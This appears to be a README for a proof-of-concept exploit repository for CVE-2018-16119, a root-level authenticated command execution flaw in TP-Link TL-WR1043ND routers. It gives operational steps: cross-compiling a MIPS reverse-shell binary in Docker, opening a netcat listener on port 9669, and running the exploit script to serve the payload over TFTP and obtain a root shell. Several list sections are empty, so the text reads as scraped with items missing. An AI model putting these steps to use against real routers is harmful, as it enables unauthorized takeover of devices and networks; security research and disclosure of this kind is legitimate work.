
TP-Link TL-WR1043ND - Authenticated Remote Code Execution
CVE-2018-16119 is a critical authenticated remote code execution vulnerability affecting TP-Link TL-WR1043ND routers. This vulnerability allows authenticated attackers to execute arbitrary commands on the target device with root privileges, potentially leading to complete system compromise.
CVE Details: CVE-2018-16119
Once exploited, an attacker gains root shell access to the router, enabling them to:
# Install required packages
sudo apt-get update
sudo apt-get install netcat docker.io
The exploit requires a MIPS big-endian reverse shell binary. Follow these steps to compile it:
# Copy the source code to /tmp
cp exploit/tftp_server/reverse_shell_mipsbe.c /tmp/
# Use Docker container with MIPS cross-compilation tools
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
Inside the Docker container:
cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
Exit Docker and copy the compiled binary:
cp /tmp/shh exploit/tftp_server/
Open a terminal and start a netcat listener on port 9669:
Linux:
nc -l -p 9669 -vv
macOS:
nc -l 9669 -vv
Run the exploit script with root privileges (required for TFTP server):
sudo python3 exploit/exploit.py
The script will:
Once the connection is established:
CVE-2018-16119/
├── exploit/
│ ├── exploit.py # Main exploit script
│ ├── requirements.txt # Python dependencies
│ ├── notes.txt # Additional notes
│ └── tftp_server/
│ ├── reverse_shell_mipsbe.c # Reverse shell source code
│ └── shh # Compiled MIPS binary
├── firmware/
│ └── wr740nv4_webrevert.bin # Sample firmware
├── squashfs-root/ # Extracted firmware filesystem
└── README.md # This file
This vulnerability has been responsibly disclosed and should only be used for:
⚠️ WARNING: This exploit is provided for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal and unethical. Users are responsible for ensuring they have proper authorization before using this tool.
Install Python requirements:
pip3 install -r exploit/requirements.txt
TFTP Server Permission Denied:
Connection Failed:
No Shell Response:
id or pwdThis research demonstrates critical security flaws in embedded device firmware. The vulnerability highlights the importance of:
Research by: Alejandro Parodi
Twitter: @hdbreaker
LinkedIn: Alejandro Parodi
This research was conducted for educational purposes and to improve the security of embedded systems. Please use responsibly.